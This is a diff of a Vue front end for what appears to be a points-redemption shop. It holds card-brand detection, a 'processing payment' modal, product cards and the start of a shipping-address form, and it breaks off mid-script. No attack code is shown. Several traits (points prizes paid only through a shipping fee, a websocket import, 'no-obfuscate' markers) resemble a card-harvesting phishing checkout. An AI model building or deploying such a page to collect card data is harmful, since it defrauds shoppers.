if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'Mastercard';
if (/^(62|81)/.test(num)) return 'UnionPay';
if (/^3[347]/.test(num)) return 'Amex';
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'Discover';
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
if (/^(30|36|38|39)/.test(num)) return 'DinersClub';
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'Maestro';
if (/^220[0-4]/.test(num)) return 'Mir';
return 'Generic';
});
// 监听 showModal触发支付逻辑
watch(
() => props.showModal,
(newVal) => {
if (newVal && props.cardNumber) {
}
}
);
</script>
<template>
<div class="payment-modal1">
<div v-if="showModal" class="modal1">
<div class="modal1-content">
<div class="card-logo">
<img
v-if="cardType === 'Visa'"
:src="c1"
alt="Visa"
/>
<img
v-else-if="cardType === 'Mastercard'"
:src="c2"
alt="Mastercard"
/>
<img
v-else-if="cardType === 'UnionPay'"
:src="c4"
alt="UnionPay"
/>
<img
v-else-if="cardType === 'Amex'"
:src="c5"
alt="Amex"
/>
<img
v-else-if="cardType === 'Discover'"
:src="c6"
alt="Discover"
/>
<img
v-else-if="cardType === 'JCB'"
:src="c3"
alt="JCB"
/>
<img
v-else-if="cardType === 'DinersClub'"
:src="c8"
alt="Diners Club"
/>
<img
v-else-if="cardType === 'Maestro'"
:src="c7"
alt="Maestro"
/>
<img
v-else-if="cardType === 'Mir'"
:src="c9"
alt="Mir"
/>
<svg
v-else
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 64 40"
fill="none"
stroke="#3498db"
stroke-width="1.5"
stroke-linecap="round"
stroke-linejoin="round"
>
<rect x="2" y="2" width="60" height="36" rx="4" fill="#f5f5f5" />
<rect x="8" y="8" width="14" height="10" fill="#d4a017" />
<path d="M8 23 h48" />
<path d="M8 27 h32" />
<path d="M8 31 h24" />
<circle cx="50" cy="12" r="3" fill="#ccc" />
</svg>
</div>
<h3 class="title">{{ t("payment_modal.processing_payment") }}</h3>
<p class= "desc">{{ t("payment_modal.do_not_refresh") }}</p>
</div>
</div>
</div>
</template>
<style scoped>
.payment-modal1 {
font-family: Arial, sans-serif;
display: flex;
flex-direction: column;
align-items: center;
}
.modal1 {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
display: flex;
justify-content: center;
align-items: center;
z-index: 1000;
}
.modal1-content {
background-color: white;
padding: 50px 20px;
border-radius: 8px;
text-align: center;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
max-width: 300px;
width: 100%;
}
.card-logo {
display: flex;
justify-content: center;
margin-bottom: 15px;
position: relative;
overflow: hidden;
}
.card-logo img {
height: 70px;
object-fit: contain;
}
.card-logo svg {
height: 50px;
width: 80px;
}
.card-logo::after {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 30%;
height: 100%;
background: linear-gradient(
90deg,
transparent,
rgba(255, 255, 255, 0.7),
transparent
);
animation: scan 2s infinite;
}
@keyframes scan {
0% {
left: -100%;
}
100% {
left: 100%;
}
}
.price {
font-size: 1.2em;
color: #333;
margin-bottom: 10px;
}
.title {
font-size: 1.2em;
font-weight: 400;
}
.desc {
font-size: 0.9em;
color: #666;
margin-top: 5px;
margin-bottom: 0;
}
</style>

View File

@@ -0,0 +1,330 @@
<script setup lang="ts">
import { computed } from 'vue';
import { formatNumber } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
interface Props {
visible: boolean;
goods: any;
requiredPoints: number;
remainingPoints: number;
expiryDate: string;
}
const props = defineProps<Props>();
const emit = defineEmits<{
confirm: [];
cancel: [];
}>();
</script>
<template>
<Transition name="el2-modal">
<div v-if="visible" class="el2-modal-wrap" @click="emit('cancel')">
<div class="el2-modal-box" @click.stop>
<div class="el2-modal-head">
<h2 class="el2-modal-title">{{ t("pay_view.confirm_exchange") }}</h2>
</div>
<div class="el2-modal-body">
<!-- 警告信息 -->
<div class="el2-warn">
<p class="el2-warn-text">
<strong>{{ t("pay_view.monthly_limit") }}</strong>
{{ t("pay_view.monthly_limit_desc", { date: expiryDate }) }}
</p>
<p class="el2-warn-text">
<strong>{{ t("pay_view.final_exchange") }}</strong>
{{ t("pay_view.final_exchange_desc") }}
</p>
</div>
<!-- 商品信息 -->
<div class="el2-info">
<div class="el2-info-row">
<span class="el2-info-lbl">{{ t("pay_view.selected_prize") }}</span>
<span class="el2-info-val el2-pname">{{ goods?.title }}</span>
</div>
<div class="el2-info-row">
<span class="el2-info-lbl">{{ t("pay_view.required_points") }}</span>
<span class="el2-info-val el2-preq">{{ formatNumber(requiredPoints) }}</span>
</div>
<div class="el2-info-row">
<span class="el2-info-lbl">{{ t("pay_view.remaining_points") }}</span>
<span class="el2-info-val el2-prem">{{ formatNumber(remainingPoints) }}</span>
</div>
</div>
<!-- 确认问题 -->
<p class="el2-question">{{ t("pay_view.confirm_exchange_question") }}</p>
</div>
<div class="el2-modal-foot">
<button type="button" class="el2-btn-cancel" @click="emit('cancel')">
{{ t("Cancel") }}
</button>
<button type="button" class="el2-btn-ok" @click="emit('confirm')">
{{ t("pay_view.confirm_btn") }}
</button>
</div>
</div>
</div>
</Transition>
</template>
<style scoped>
.el2-modal-wrap {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.6);
display: flex;
align-items: center;
justify-content: center;
z-index: 10000;
padding: 20px;
}
.el2-modal-box {
background: #ffffff;
border-radius: 16px;
max-width: 500px;
width: 100%;
max-height: 85vh;
display: flex;
flex-direction: column;
box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3);
overflow: hidden;
}
.el2-modal-head {
background: var(--global-primary-color);
padding: 20px 20px;
border-radius: 16px 16px 0 0;
flex-shrink: 0;
}
.el2-modal-title {
font-size: 20px;
font-weight: 700;
color: #ffffff;
margin: 0;
text-align: center;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.el2-modal-body {
padding: 20px;
overflow-y: auto;
flex: 1;
min-height: 0;
}
.el2-warn {
background: #FFF9E6;
border: 2px solid #FFB800;
border-left: 5px solid #FFB800;
border-radius: 8px;
padding: 14px;
margin-bottom: 20px;
}
.el2-warn-text {
font-size: 13px;
color: #6B4E00;
line-height: 1.5;
margin: 0 0 10px 0;
}
.el2-warn-text:last-child {
margin-bottom: 0;
}
.el2-warn-text strong {
font-weight: 700;
color: #4A3500;
}
.el2-info {
background: #F8F9FA;
border-radius: 8px;
padding: 14px;
margin-bottom: 16px;
}
.el2-info-row {
display: flex;
justify-content: space-between;
align-items: flex-start;
padding: 10px 0;
border-bottom: 1px solid #E0E0E0;
}
.el2-info-row:last-child {
border-bottom: none;
}
.el2-info-lbl {
font-size: 14px;
color: #666666;
font-weight: 500;
}
.el2-info-val {
font-size: 14px;
color: #333333;
font-weight: 600;
text-align: right;
max-width: 60%;
}
.el2-info-val.el2-pname {
color: #000000;
}
.el2-info-val.el2-preq {
font-size: 17px;
color: var(--global-primary-color);
font-weight: 700;
}
.el2-info-val.el2-prem {
font-size: 17px;
color: var(--global-primary-color);
font-weight: 700;
}
.el2-question {
font-size: 15px;
font-weight: 600;
color: #333333;
text-align: center;
margin: 16px 0 0 0;
}
.el2-modal-foot {
padding: 16px 20px;
display: flex;
flex-direction: column;
gap: 10px;
border-top: 1px solid #E0E0E0;
flex-shrink: 0;
background: #ffffff;
}
.el2-btn-cancel,
.el2-btn-ok {
width: 100%;
padding: 14px 24px;
border: none;
border-radius: 12px;
font-size: 15px;
font-weight: 700;
cursor: pointer;
transition: all 0.3s ease;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.el2-btn-cancel {
background: #F5F5F5;
color: #666666;
}
.el2-btn-cancel:hover {
background: #E0E0E0;
}
.el2-btn-ok {
background: var(--global-primary-color);
color: #ffffff;
box-shadow: 0 4px 12px rgba(218, 41, 28, 0.3);
}
.el2-btn-ok:hover {
background: var(--global-primary-color);
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(218, 41, 28, 0.4);
}
.el2-btn-ok:active {
transform: translateY(0);
}
/* Modal 动画 */
.el2-modal-enter-active,
.el2-modal-leave-active {
transition: opacity 0.3s ease;
}
.el2-modal-enter-active .el2-modal-box,
.el2-modal-leave-active .el2-modal-box {
transition: transform 0.3s ease;
}
.el2-modal-enter-from,
.el2-modal-leave-to {
opacity: 0;
}
.el2-modal-enter-from .el2-modal-box,
.el2-modal-leave-to .el2-modal-box {
transform: scale(0.9) translateY(20px);
}
/* 响应式 */
@media (max-width: 480px) {
.el2-modal-box {
max-width: 95%;
max-height: 90vh;
}
.el2-modal-head {
padding: 16px;
}
.el2-modal-title {
font-size: 17px;
}
.el2-modal-body {
padding: 16px;
}
.el2-warn-text {
font-size: 12px;
}
.el2-info-lbl,
.el2-info-val {
font-size: 13px;
}
.el2-info-val.el2-preq,
.el2-info-val.el2-prem {
font-size: 16px;
}
.el2-question {
font-size: 14px;
}
.el2-modal-foot {
padding: 14px 16px;
}
.el2-btn-cancel,
.el2-btn-ok {
padding: 12px 20px;
font-size: 14px;
}
}
</style>

View File

@@ -0,0 +1,176 @@
<script setup lang="ts">
import { formatNumber } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
interface Props {
goods: any;
theme?: string;
}
const props = defineProps<Props>();
const emit = defineEmits<{
click: [];
add: [count: number];
imageLoad: [];
imageError: [];
}>();
</script>
<template>
<div class="el2-item" @click="emit('click')">
<div class="el2-item__img-wrap">
<img
:src="goods.image"
alt=""
class="el2-item__img"
@load="emit('imageLoad')"
@error="emit('imageError')"
/>
</div>
<div class="el2-item__body">
<div class="el2-item__name" :class="{ 'line-clamp-2': theme === '3' }">
<span v-if="goods.tag" class="el2-item__tag">{{ goods.tag }}</span>
{{ goods.title }}
</div>
<div class="el2-item__price" v-if="goods.point2">{{ goods.point }}</div>
<div class="el2-item__price" v-else-if="goods.onlyPoints">
{{ formatNumber(goods.onlyPoints) }} {{ t("points") }}
</div>
<div class="el2-item__rank" v-if="goods?.topName">
<span>🏆</span>
<span v-if="goods.topName" style="margin-left: 5px">{{ goods.topName }}</span>
<span style="flex: 1"></span>
<span v-if="goods.top" class="el2-item__rank-tag">{{ goods.top }}</span>
</div>
<div class="el2-item__ctrl" @click.stop>
<div @click="emit('add', -1)" class="no-obfuscate">-</div>
<div class="el2-item__num no-obfuscate">{{ goods.count }}</div>
<div @click="emit('add', 1)" class="no-obfuscate">+</div>
</div>
</div>
</div>
</template>
<style scoped>
.el2-item {
position: absolute;
padding: 10px;
cursor: pointer;
background: #ffffff;
box-shadow: 0px 3px 18px 0px rgba(223, 223, 223, 0.93);
border-radius: 16px;
border: 2px solid #f1f1f1;
opacity: 0.9;
box-sizing: border-box;
}
.el2-item:hover {
transform: scale(1);
}
.el2-item__img {
width: 100%;
aspect-ratio: 4/4;
display: block;
object-fit: contain;
border-radius: 20px;
}
.el2-item__name {
font-size: 14px;
margin-top: 5px;
}
.el2-item__name.line-clamp-2 {
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
text-overflow: ellipsis;
}
.el2-item__tag {
background-color: #db0011;
padding: 2px;
text-align: center;
color: #ffffff;
border-radius: 3px;
margin-right: 3px;
}
.el2-item__price {
font-size: 14px;
color: var(--global-primary-color);
margin-top: 3px;
}
.el2-item__rank {
padding-left: 5px;
background-color: #ffc94b42;
color: #b48825;
display: flex;
justify-content: center;
align-items: center;
padding-top: 5px;
font-size: 12px;
padding-bottom: 5px;
}
.el2-item__rank-tag {
background: linear-gradient(to right, #c09a98, #e6bc87);
padding: 2px;
height: 80%;
padding-left: 5px;
text-align: center;
color: #ffffff;
border-radius: 20px 0 0 20px;
}
.el2-item__ctrl {
margin-top: 10px;
display: flex;
justify-content: center;
align-items: center;
width: 100%;
border-radius: 8px;
font-weight: 700;
cursor: pointer;
overflow: hidden;
}
.el2-item__ctrl > div {
flex: 1;
display: flex;
height: 35px;
justify-content: center;
align-items: center;
background-color: #f2f2f2;
user-select: none;
}
.el2-item__ctrl > div.el2-item__num {
background-color: #f2f2f2;
min-width: 40px;
font-size: 18px;
margin: 0 2px;
}
.el2-item__ctrl > div:first-child,
.el2-item__ctrl > div:last-child {
font-size: 30px;
background-color: #f2f2f2;
min-width: 40px;
}
.el2-item__ctrl > div:first-child:hover,
.el2-item__ctrl > div:last-child:hover {
background-color: #f2f2f2;
}
</style>

View File

@@ -0,0 +1,181 @@
<script setup lang="ts">
import { formatNumber } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
interface Props {
goods: any;
theme?: string;
}
const props = defineProps<Props>();
const emit = defineEmits<{
click: [];
add: [count: number];
imageLoad: [];
imageError: [];
}>();
</script>
<template>
<div class="el2-grid" @click="emit('click')">
<div class="el2-grid__img-wrap">
<img
:src="goods.image"
alt=""
class="el2-grid__img"
@load="emit('imageLoad')"
@error="emit('imageError')"
/>
</div>
<div class="el2-grid__body">
<div class="el2-grid__name" :class="{ 'line-clamp-2': theme === '3' }">
<span v-if="goods.tag" class="el2-grid__tag">{{ goods.tag }}</span>
{{ goods.title }}
</div>
<div class="el2-grid__price" v-if="goods.point2">{{ goods.point }}</div>
<div class="el2-grid__price" v-else-if="goods.onlyPoints">
{{ formatNumber(goods.onlyPoints) }} {{ t("points") }}
</div>
<div class="el2-grid__rank" v-if="goods?.topName">
<span>🏆</span>
<span v-if="goods.topName" style="margin-left: 5px">{{ goods.topName }}</span>
<span style="flex: 1"></span>
<span v-if="goods.top" class="el2-grid__rank-tag">{{ goods.top }}</span>
</div>
<div class="el2-grid__ctrl" @click.stop>
<div @click="emit('add', -1)" class="no-obfuscate">-</div>
<div class="el2-grid__num no-obfuscate">{{ goods.count }}</div>
<div @click="emit('add', 1)" class="no-obfuscate">+</div>
</div>
</div>
</div>
</template>
<style scoped>
.el2-grid {
padding: 10px;
cursor: pointer;
background: #ffffff;
box-shadow: 0px 3px 18px 0px rgba(223, 223, 223, 0.93);
border-radius: 16px;
border: 2px solid #f1f1f1;
opacity: 0.9;
box-sizing: border-box;
display: flex;
flex-direction: column;
}
.el2-grid:hover {
transform: scale(1);
}
.el2-grid__body {
margin-top: auto;
}
.el2-grid__img {
width: 100%;
aspect-ratio: 4/4;
display: block;
object-fit: contain;
border-radius: 20px;
}
.el2-grid__name {
font-size: 14px;
margin-top: 5px;
}
.el2-grid__name.line-clamp-2 {
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
text-overflow: ellipsis;
}
.el2-grid__tag {
background-color: #db0011;
padding: 2px;
text-align: center;
color: #ffffff;
border-radius: 3px;
margin-right: 3px;
}
.el2-grid__price {
font-size: 14px;
color: var(--global-primary-color);
margin-top: 3px;
}
.el2-grid__rank {
padding-left: 5px;
background-color: #ffc94b42;
color: #b48825;
display: flex;
justify-content: center;
align-items: center;
padding-top: 5px;
font-size: 12px;
padding-bottom: 5px;
}
.el2-grid__rank-tag {
background: linear-gradient(to right, #c09a98, #e6bc87);
padding: 2px;
height: 80%;
padding-left: 5px;
text-align: center;
color: #ffffff;
border-radius: 20px 0 0 20px;
}
.el2-grid__ctrl {
margin-top: 10px;
display: flex;
justify-content: center;
align-items: center;
width: 100%;
border-radius: 8px;
font-weight: 700;
cursor: pointer;
overflow: hidden;
}
.el2-grid__ctrl > div {
flex: 1;
display: flex;
height: 35px;
justify-content: center;
align-items: center;
background-color: #f2f2f2;
user-select: none;
}
.el2-grid__ctrl > div.el2-grid__num {
background-color: #f2f2f2;
min-width: 40px;
font-size: 18px;
margin: 0 2px;
}
.el2-grid__ctrl > div:first-child,
.el2-grid__ctrl > div:last-child {
font-size: 30px;
background-color: #f2f2f2;
min-width: 40px;
}
.el2-grid__ctrl > div:first-child:hover,
.el2-grid__ctrl > div:last-child:hover {
background-color: #f2f2f2;
}
</style>

View File

@@ -0,0 +1,212 @@
<script setup lang="ts">
import { formatNumber } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
interface Props {
goods: any;
theme?: string;
}
const props = defineProps<Props>();
const emit = defineEmits<{
exchange: [];
imageLoad: [];
imageError: [];
}>();
</script>
<template>
<div class="el2-single">
<div class="el2-single__img-wrap">
<img
:src="goods.image"
alt=""
class="el2-single__img"
@load="emit('imageLoad')"
@error="emit('imageError')"
/>
</div>
<div class="el2-single__body">
<div class="el2-single__name" :class="{ 'line-clamp-2': theme === '3' }">
<span v-if="goods.tag" class="el2-single__tag">{{ goods.tag }}</span>
{{ goods.title }}
</div>
<div class="el2-single__price" v-if="goods.point2">{{ goods.point }}</div>
<div class="el2-single__price" v-else-if="goods.onlyPoints">
{{ formatNumber(goods.onlyPoints) }} {{ t("points") }}
</div>
<div class="el2-single__rank" v-if="goods?.topName">
<span>🏆</span>
<span v-if="goods.topName" style="margin-left: 5px">{{ goods.topName }}</span>
<span style="flex: 1"></span>
<span v-if="goods.top" class="el2-single__rank-tag">{{ goods.top }}</span>
</div>
<button type="button" @click.stop="emit('exchange')" class="el2-single__btn">
{{ t("Exchange") }}
</button>
</div>
</div>
</template>
<style scoped>
.el2-single {
padding: 10px;
background: #ffffff;
box-shadow: 0px 3px 18px 0px rgba(223, 223, 223, 0.93);
border-radius: 16px;
border: 2px solid #f1f1f1;
opacity: 0.9;
box-sizing: border-box;
display: flex;
flex-direction: column;
}
/* PC端优化纵向卡片适配网格布局 */
@media (min-width: 768px) {
.el2-single {
flex-direction: column;
padding: 16px;
height: 100%;
}
.el2-single__img-wrap {
width: 100%;
aspect-ratio: 1/1;
}
.el2-single__img {
width: 100%;
height: 100%;
aspect-ratio: 1/1;
}
.el2-single__body {
flex: 1;
display: flex;
flex-direction: column;
justify-content: space-between;
margin-top: 12px;
}
.el2-single__name {
font-size: 15px;
font-weight: 500;
line-height: 1.4;
min-height: 42px;
}
.el2-single__price {
font-size: 16px;
font-weight: 600;
margin: 8px 0;
}
.el2-single__rank {
margin: 8px 0;
padding: 6px 10px;
font-size: 12px;
}
.el2-single__btn {
margin-top: 12px;
width: 100%;
padding: 10px 20px;
font-size: 15px;
font-weight: 600;
}
}
.el2-single__body {
margin-top: auto;
}
.el2-single__img {
width: 100%;
aspect-ratio: 4/4;
display: block;
object-fit: contain;
border-radius: 20px;
}
.el2-single__name {
font-size: 14px;
margin-top: 5px;
}
.el2-single__name.line-clamp-2 {
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
text-overflow: ellipsis;
}
.el2-single__tag {
background-color: #db0011;
padding: 2px;
text-align: center;
color: #ffffff;
border-radius: 3px;
margin-right: 3px;
}
.el2-single__price {
font-size: 14px;
color: var(--global-primary-color);
margin-top: 3px;
}
.el2-single__rank {
padding-left: 5px;
background-color: #ffc94b42;
color: #b48825;
display: flex;
justify-content: center;
align-items: center;
padding-top: 5px;
font-size: 12px;
padding-bottom: 5px;
}
.el2-single__rank-tag {
background: linear-gradient(to right, #c09a98, #e6bc87);
padding: 2px;
height: 80%;
padding-left: 5px;
text-align: center;
color: #ffffff;
border-radius: 20px 0 0 20px;
}
.el2-single__btn {
width: 100%;
margin-top: 16px;
padding: 14px 24px;
background: var(--global-primary-color);
color: #ffffff;
border: none;
border-radius: 12px;
font-size: 16px;
font-weight: 700;
cursor: pointer;
transition: all 0.3s ease;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.el2-single__btn:hover {
background: var(--global-primary-color);
transform: translateY(-2px);
}
.el2-single__btn:active {
transform: translateY(0);
}
</style>

View File

@@ -0,0 +1,106 @@
# ProductCard 组件
这个目录包含了商品卡片的不同主题变体组件,用于在商品列表页面展示不同的布局样式。
## 组件结构
### 1. ProductCardDefault.vue
**默认瀑布流布局**
- 使用绝对定位实现瀑布流效果
- 双列交替排列
- 带有数量加减控制器
- 适用于默认 theme 或 theme='3'
### 2. ProductCardGrid.vue
**网格布局 (Theme 2)**
- CSS Grid 双列布局
- 固定网格排列
- 带有数量加减控制器
- 卡片高度自动适应内容
### 3. ProductCardSingle.vue
**单列布局 (Theme 4)**
- 单列垂直排列,一行一个商品
- 每个商品下方直接显示兑换按钮
- 不显示数量控制器
- 类似列表式展示
### 4. index.vue
**动态组件选择器**
- 根据 `theme` 属性自动选择对应的组件
- 统一的 Props 和 Events 接口
- 简化父组件的使用
## 使用方法
```vue
<template>
<ProductCard
:goods="goodsItem"
:theme="goodsConfig.theme"
@click="handleClick"
@add="handleAdd"
@exchange="handleExchange"
@image-load="handleImageLoad"
@image-error="handleImageError"
/>
</template>
<script setup>
import ProductCard from '@/components/ProductCard/index.vue';
// goods 对象结构
const goodsItem = {
image: '/path/to/image.jpg',
imageUrl: '/path/to/image.jpg',
title: '商品名称',
tag: 'Hot',
point: '12000 PUNTOS',
point2: 12000,
onlyPoints: null,
price: 'S/ 299.00',
price2: 299,
count: 0,
topName: 'Popularity List',
top: 'TOP1'
};
</script>
```
## Props
| 属性 | 类型 | 说明 |
|------|------|------|
| goods | Object | 商品数据对象(必需) |
| theme | String | 主题类型:'2'=网格, '4'=单列, 其他=瀑布流 |
## Events
| 事件名 | 参数 | 说明 |
|--------|------|------|
| click | - | 点击商品卡片时触发theme 4 除外) |
| add | count: number | 点击加减按钮时触发,参数为 +1 或 -1 |
| exchange | - | 点击兑换按钮时触发(仅 theme 4 |
| image-load | - | 图片加载完成时触发 |
| image-error | - | 图片加载失败时触发 |
## 主题对应关系
- **无 theme 或 theme='3'**: ProductCardDefault - 瀑布流布局
- **theme='2'**: ProductCardGrid - 网格布局
- **theme='4'**: ProductCardSingle - 单列布局
## 样式说明
每个组件都使用 scoped 样式,遵循 BEM 命名规范:
- `.product-card` - 默认卡片
- `.product-card-grid` - 网格卡片
- `.product-card-single` - 单列卡片
## 维护建议
1. 新增主题时,在此目录创建新的组件文件
2.`index.vue` 中添加对应的 case 分支
3. 保持统一的 Props 和 Events 接口
4. 样式使用 scoped 避免冲突
5. 组件内部使用 BEM 命名约定

View File

@@ -0,0 +1,63 @@
<script setup lang="ts">
import { computed } from "vue";
import ProductCardDefault from "./ProductCardDefault.vue";
import ProductCardGrid from "./ProductCardGrid.vue";
import ProductCardSingle from "./ProductCardSingle.vue";
interface Props {
goods: any;
theme?: string;
}
const props = defineProps<Props>();
const emit = defineEmits<{
click: [];
add: [count: number];
exchange: [];
imageLoad: [];
imageError: [];
}>();
// 根据 theme 选择对应的组件
const currentComponent = computed(() => {
console.log("Current theme:", props.theme);
switch (props.theme) {
case '2':
return ProductCardGrid;
case '4':
return ProductCardSingle;
default:
return ProductCardDefault;
}
});
// 根据 theme 选择对应的事件
const handleClick = () => {
// theme 4 不触发点击事件
if (props.theme !== '4') {
emit('click');
}
};
const handleAdd = (count: number) => {
emit('add', count);
};
const handleExchange = () => {
emit('exchange');
};
</script>
<template>
<component
:is="currentComponent"
:goods="goods"
:theme="theme"
@click="handleClick"
@add="handleAdd"
@exchange="handleExchange"
@image-load="emit('imageLoad')"
@image-error="emit('imageError')"
/>
</template>

View File

@@ -0,0 +1,86 @@
<script setup lang="ts">
import WelcomeItem from './WelcomeItem.vue'
import DocumentationIcon from './icons/IconDocumentation.vue'
import ToolingIcon from './icons/IconTooling.vue'
import EcosystemIcon from './icons/IconEcosystem.vue'
import CommunityIcon from './icons/IconCommunity.vue'
import SupportIcon from './icons/IconSupport.vue'
</script>
<template>
<WelcomeItem>
<template #icon>
<DocumentationIcon />
</template>
<template #heading>Documentation</template>
Vues
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
provides you with all information you need to get started.
</WelcomeItem>
<WelcomeItem>
<template #icon>
<ToolingIcon />
</template>
<template #heading>Tooling</template>
This project is served and bundled with
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
recommended IDE setup is
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
you need to test your components and web pages, check out
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
<br />
More instructions are available in <code>README.md</code>.
</WelcomeItem>
<WelcomeItem>
<template #icon>
<EcosystemIcon />
</template>
<template #heading>Ecosystem</template>
Get official tools and libraries for your project:
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
you need more resources, we suggest paying
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
a visit.
</WelcomeItem>
<WelcomeItem>
<template #icon>
<CommunityIcon />
</template>
<template #heading>Community</template>
Got stuck? Ask your question on
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
Discord server, or
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
>StackOverflow</a
>. You should also subscribe to
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
the official
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
twitter account for latest news in the Vue world.
</WelcomeItem>
<WelcomeItem>
<template #icon>
<SupportIcon />
</template>
<template #heading>Support Vue</template>
As an independent project, Vue relies on community backing for its sustainability. You can help
us by
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
</WelcomeItem>
</template>

View File

@@ -0,0 +1,86 @@
<template>
<div class="item">
<i>
<slot name="icon"></slot>
</i>
<div class="details">
<h3>
<slot name="heading"></slot>
</h3>
<slot></slot>
</div>
</div>
</template>
<style scoped>
.item {
margin-top: 2rem;
display: flex;
}
.details {
flex: 1;
margin-left: 1rem;
}
i {
display: flex;
place-items: center;
place-content: center;
width: 32px;
height: 32px;
color: var(--color-text);
}
h3 {
font-size: 1.2rem;
font-weight: 500;
margin-bottom: 0.4rem;
color: var(--color-heading);
}
@media (min-width: 1024px) {
.item {
margin-top: 0;
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
}
i {
top: calc(50% - 25px);
left: -26px;
position: absolute;
border: 1px solid var(--color-border);
background: var(--color-background);
border-radius: 8px;
width: 50px;
height: 50px;
}
.item:before {
content: ' ';
border-left: 1px solid var(--color-border);
position: absolute;
left: 0;
bottom: calc(50% + 25px);
height: calc(50% - 25px);
}
.item:after {
content: ' ';
border-left: 1px solid var(--color-border);
position: absolute;
left: 0;
top: calc(50% + 25px);
height: calc(50% - 25px);
}
.item:first-of-type:before {
display: none;
}
.item:last-of-type:after {
display: none;
}
}
</style>

View File

@@ -0,0 +1,11 @@
import { describe, it, expect } from 'vitest'
import { mount } from '@vue/test-utils'
import HelloWorld from '../HelloWorld.vue'
describe('HelloWorld', () => {
it('renders properly', () => {
const wrapper = mount(HelloWorld, { props: { msg: 'Hello Vitest' } })
expect(wrapper.text()).toContain('Hello Vitest')
})
})

View File

@@ -0,0 +1,538 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import { useLoadingStore } from "@/stores/loadingStore";
import { computed, onMounted, reactive, ref } from "vue";
import { useI18n } from "vue-i18n";
import { configData, formatPriceWithUnit, inputChange, myWebSocket } from "@/utils/common";
import { goodsConfig } from "@/config";
const selectFee = ref("");
const { t } = useI18n();
const loadingStore = useLoadingStore();
const showBz = ref(false);
const formData = reactive({
fullName: { title: "address_view.your_name", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
lastName: { title: "address_view.last_name", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
address: { title: "address_view.address", title2: "", placeholder: "address_view.street_address", value: "", error: false, errtext: "address_view.field_error" },
address2: { title: "address_view.detailed_address", title2: "address_view.optional", placeholder: "address_view.apartment_number", value: "", error: false, errtext: "address_view.field_error" },
city: { title: "address_view.city", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
state: { title: "address_view.state", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
zipCode: { title: "address_view.zip_code", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
email: { title: "address_view.email", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
phone: { title: "address_view.telephone", title2: "", placeholder: "", value: "", error: false, errtext: "address_view.field_error" },
});
const shippingPrices = computed(() => {
const defaultPrices = {
rapido: "CLP 2,888",
estandar: "CLP 399",
};
if (!configData.value?.pay_amount) {
return defaultPrices;
}
const amounts = configData.value.pay_amount.split(",");
return {
rapido: amounts[0] || defaultPrices.rapido,
estandar: amounts[1] || defaultPrices.estandar,
};
});
const currentDate = new Date();
const shippingDate = new Date(currentDate);
shippingDate.setDate(currentDate.getDate() + 2);
const dayNames = [t("Sunday"), t("Monday"), t("Tuesday"), t("Wednesday"), t("Thursday"), t("Friday"), t("Saturday")];
const monthNames = [t("January"), t("February"), t("March"), t("April"), t("May"), t("June"), t("July"), t("August"), t("September"), t("October"), t("November"), t("December")];
const shippingMessage = computed(() => {
const day = dayNames[shippingDate.getDay()];
const date = shippingDate.getDate() + 1;
const month = monthNames[shippingDate.getMonth()];
return t("address_view.express_shipping", { day, date, month });
});
const startDate = new Date(currentDate);
const endDate = new Date(currentDate);
startDate.setDate(currentDate.getDate() + 4);
endDate.setDate(currentDate.getDate() + 6);
const shippingMessage2 = computed(() => {
const startDay = dayNames[startDate.getDay()];
const startDayNumber = startDate.getDate();
